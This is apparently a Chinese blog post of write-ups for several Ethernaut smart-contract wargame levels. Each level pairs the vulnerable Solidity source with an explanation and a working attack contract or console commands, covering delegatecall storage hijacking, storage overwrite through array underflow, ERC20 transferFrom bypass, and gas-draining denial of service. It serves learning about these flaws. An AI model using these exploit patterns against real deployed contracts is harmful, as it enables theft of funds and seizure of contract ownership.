Gatekeeper Two
又學到了新東西,原始碼:
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
相對來說比較難的是gateTwo那里不知道該怎么繞,涉及到行內注釋,學習文章:
ethervm
Solidity 中撰寫行內匯編(assembly)的那些事[譯]
assembly { x := extcodesize(caller()) }
caller():message caller address
extcodesize():length of the contract bytecode at addr, in bytes
extcodesize是用來檢查地址是不是合約地址的:
caller 為合約時,獲取的大小為合約位元組碼大小,caller 為賬戶時,獲取的大小為 0 ,
因此正常這里如果繞過gateOne的require(msg.sender != tx.origin);的話,這里也就繞不過了,因此我以為是gateOne的那里需要改變一種姿勢繞,但是查不到新姿勢,,,
看了一下,WP:
經過研究發現,當合約在初始化,還未完全創建時,代碼大小是可以為0的,因此,我們需要把攻擊合約的呼叫操作寫在 constructor 建構式中,
因此只要把攻擊代碼寫在constructor里面就可以了,
至于gateOne就很簡單了:
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
uint64(0)-1存在一個下溢位,溢位后是0xffffffffffffffff,因此前面需要得到0xffffffffffffffff,前面^是相同為0,不同為1,因此必須和前面結果的每一位都不一樣,那就按位取反即可:
gateKey = bytes8(~(uint64(bytes8(keccak256(abi.encodePacked(this))))));
POC:
pragma solidity ^0.6.0;
contract Feng {
bytes8 public gateKey;
address public target = 0x376E65f6d59Ec9f5cD3e9F9B18F05A0BB34A0bab;
constructor() public {
gateKey = bytes8(~(uint64(bytes8(keccak256(abi.encodePacked(this))))));
target.call(abi.encodeWithSignature("enter(bytes8)",gateKey));
}
}
Naught Coin
知識盲區,考察了ERC20,
源代碼:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); //decimals=18
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
邏輯也不算難,說白了就是player是你自己,你的賬號余額就是INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));,只要把這些錢轉出去就贏了,但是transfer函式那里有lockTokens,必須now > timeLock才行,即過10年才能轉賬,
這題考察的是ERC20的2個轉賬函式,自己還是太菜了不會ERC20,做完這題后再去把ERC20看一遍,
ERC20有2個轉賬函式transfer和transferFrom:

題目里只override了transfer函式,并沒有重寫這個transferFrom函式,因此可以考慮利用transferFrom,
想了一下,發現和之前學solidity時遇到的那個ERC721里的轉賬有些類似:

至于為什么類似,分析一下這個ERC20的代碼就知道了:
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
題目的描述中,help給出了代碼鏈接:
ERC20
看一下:

_transfer就不看了,呼叫transfer函式同樣也會進入_transfer,里面具體的進行了轉賬,
注意接下來的2行代碼:
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
這個東西一開始我還不知道是啥,覺得很迷,繼續看下面的_approve:

就相當于tranfer直接是擁有者呼叫,將他的代幣轉給別人,而transfer是由被轉賬的人呼叫,這個_allowances[owner][spender]就是許可的金額,意思是owner這個賬號允許轉給spender這個賬號的代幣的數量,如果這個不空的話,spender就可以呼叫transferFrom函式從owner那里獲得轉賬,
因此上面的那兩行代碼,是檢查被授權的轉賬余額是不是大于等于要求的轉賬余額,
因此我們需要先授權一下轉賬的余額:

正好owner是我們自己,也就是player,因此可以授權,這里最簡單就是授權給自己,因為transferFrom函式的這里:
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
并不是取_allowances[sender][recipient],因此在這里就相當于取得是自己給自己授權得余額,直接打就可以了:
await contract.approve(player,toWei("1000000"))
await contract.transferFrom(player,contract.address,toWei("1000000"))
還是對ERC20不熟悉呀,去好好學一波,
Preservation
這題沒能做出來,但是知識點我都知道,還是我太菜了,有空要把call的那些一定好好總結一下,
- call: 最常用的呼叫方式,呼叫后內置變數 msg 的值會修改為呼叫者,執行環境為被呼叫者的運行環境(合約的 storage),
- delegatecall: 呼叫后內置變數 msg 的值不會修改為呼叫者,但執行環境為呼叫者的運行環境,
- callcode: 呼叫后內置變數 msg 的值會修改為呼叫者,但執行環境為呼叫者的運行環境,
原始碼就不分析了比較簡單,主要的就是這里:
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
參考上面的delegatecall的講解,執行環境為呼叫者的環境,也就是當前Preservation合約的環境,
呼叫了LibraryContract的setTime()方法,修改了storedTime:
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
storedTime是位于slot0的,因此實際上是修改Preservation合約的storage中slot0,也就是address public timeZone1Library;,因此這個address public timeZone1Library;是我們可控的,既然這個可控了,可以自己寫一個惡意合約,讓這個量是我們的惡意合約的地址,然后這個合約中的setTime函式修改一下slot2的值,也就是owner即可,
寫個POC:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract LibraryContract {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
owner = 0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
}
}
contract Feng {
LibraryContract lib = new LibraryContract();
address public target = 0xf423151f829CD798877bD52b2752387D22CF5416;
function attack() public {
target.call(abi.encodeWithSignature("setFirstTime(uint256)",lib));
target.call(abi.encodeWithSignature("setFirstTime(uint256)",uint(1)));
}
}
Recovery
挺迷的一題,,,主要是因為英文介紹我死活看不懂,,,:
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.
大致理解就是有一個簡單的代幣工廠合約,任何人都可以很輕易的創造新的代幣,在創建的第一個代幣合約后,創建者發送了0.5ether來獲得更多的代幣,但是他們弄丟了合約的地址,
如果你可以恢復或者拿走著0.5ether從這個丟失的合約地址,你就可以通過,
雖然我對于這個題目的意思有點迷,但我還是會看以太坊瀏覽器,,,
看一下當前的合約,去以太坊里查一下:

這個操作讓我挺迷的,,,:

d99開頭的是我題目的合約地址,先轉1到0x8d,然后再轉0.5 ether給0xddd,,
感覺好像這個8d07是個中轉的,,,反正迷的很,不過反正那0.5 ether是在0xddda…那里了,直接寫個POC打即可:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface SimpleToken {
function destroy(address payable _to) external ;
}
contract Feng {
SimpleToken constant private target = SimpleToken(0xDDdA39DcB8bB61Aee73631f83F0068A99bD0b7Dd);
function attack() public {
target.destroy(payable(msg.sender));
}
}
看了別的師傅的WP,這個創建的合約的地址還能算出來,,,,離譜,,,,這方法我就不試了,太懶了,,
MagicNumber
To solve this level, you only need to provide the Ethernaut with a “Solver”, a contract that responds to “whatIsTheMeaningOfLife()” with the right number.
Easy right? Well… there’s a catch.
The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.
Good luck!
需要讓solver是一個合約,這個合約的whatIsTheMeaningOfLife()函式會回傳一個正確的數字,而且這個函式的opcode不能超過10個,正常寫的話是會超過的,所以要自己手寫opcode,
學習文章,雖然是英文,但是寫的確實很好,認真閱讀就可以理解:
Ethernaut Lvl 19 MagicNumber Walkthrough: How to deploy contracts using raw assembly opcodes
MagicNumber
差不多算是2種思路了,其實最終的原理都差不多,Initialization Opcodes的作用就是:

因為我們沒必要寫constructor,因此這部分的opcode就沒有了,只需要有把runtime opcode這部分存盤到memory這部分所需要的opcode就可以了,然后是2種思路,一種就是利用codecopy:

或者就是直接return,
用codecopy的話就是這樣:
Runtime Opcodes
602a
6080
52
6020
6080
f3
Initialization Opcodes
600a
600c
6000
39
600a
6000
f3
另外一種return的就不寫了,參考上面的文章即可,
await web3.eth.sendTransaction({from:player,data:"0x600a600c600039600a6000f3602a60805260206080f3"}, function(err,res){console.log(res)})
await contract.setSolver("0x067Cb3Ec131555289AC6C12cF702f121d080e1E1");
學習了一波,感覺對于opcode的理解更深了,
Alien Codex
Storage的Arbitrary Writing,參考我之前寫的文章:
Storage
slot0放的是owner和contact,算出可以覆寫的i值,然后覆寫掉就可以了,
POC:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
interface AlienCodex {
function make_contact() external ;
function record(bytes32 _content) external ;
function retract() external ;
function revise(uint i, bytes32 _content) external ;
}
contract Feng {
AlienCodex constant private target = AlienCodex(0x53c5A404b93e96DA6b913c222b728E8825f987E5);
bytes32 public payload = 0x0000000000000000000000017D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
function attack() public {
target.make_contact();
target.retract();
uint i = 2**256 - 1 - uint(keccak256(abi.encodePacked(uint(1)))) +1;
target.revise(i, payload);
}
}
Denial
從github的wp上摘錄下來的,
| expression | syntax | effect | OPCODE | |
| throw | if (condition) { throw; } | reverts all state changes and deplete gas | version<0.4.1: INVALID OPCODE - 0xfe, after: REVERT- 0xfd | deprecated in version 0.4.13 and removed in version 0.5.0 |
| assert | assert(condition); | reverts all state changes and depletes all gas | INVALID OPCODE - 0xfe | |
| revert | if (condition) { revert(value) } | reverts all state changes, allows returning a value, refunds remaining gas to caller | REVERT - 0xfd | |
| require | require(condition, "comment") | reverts all state changes, allows returning a value, refunds remaining gas to calle | REVERT - 0xfd |
這題很明顯就是構造partner合約的fallback,讓:
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.
這題我一開始還是學的不夠好,solidity基礎不扎實,因為基本上我自己不怎么區分require和assert這樣的,上面的串列已經給出了,但其實上就是,拜占庭版本之前,require和assert確實區別不大,都是恢復狀態,耗盡gas,而在拜占庭版本之后,require不再耗盡gas了,而是refunds remaining gas to calle,
回到這一題上:
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
先是call,然后transfer,之所以我用require不行,就在于transfer里出現例外會回退,而call這樣的出現例外會回傳false,下面的仍然會執行,因此想讓下面的transfer出錯,就要把gas耗盡,因此要用assert而不能用require,POC:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
interface Denial {
function setWithdrawPartner(address _partner) external ;
// withdraw 1% to recipient and 1% to owner
function withdraw() external ;
// convenience function
function contractBalance() external view returns (uint) ;
}
contract Feng {
Denial constant private target = Denial(0x47D3b14124BC946e5D102367F92B653DCb36d14d);
fallback() external payable{
//assert(false);
require(false);
}
constructor() public {
target.setWithdrawPartner(address(this));
}
}
Shop
說白了就是自己的Buyer合約的price方法2次的回傳值要不一樣,第一次要大于等于100,第二次要小于100,我寫了一下,但是一直有問題,,,還是我的問題,因為那個gas有3000的限制,不能訪問storage:

可以通過isSold來判斷,POC如下:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract Buyer {
bool public flag = false;
function price() public view returns (uint){
if(Shop(msg.sender).isSold() == true){
return 1;
}else{
return 110;
}
}
function attack(address target) public {
Shop(target).buy();
}
}
不過我一開始寫的有問題,,就是Buyer合約:
contract Buyer {
bool public flag = false;
Shop public target = Shop(address(0xaA4431855E966C98007E17732E78d9feB7adf848));
function price() public view returns (uint){
if(target.isSold() == true){
return 1;
}else{
return 110;
}
}
function attack() public {
target.buy();
}
}
attack函式那里,直接用target的話不行,會gas出問題,目前還不清楚是為什么,,,(想了一下想不明白為什么,,,)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/277103.html
標籤:區塊鏈
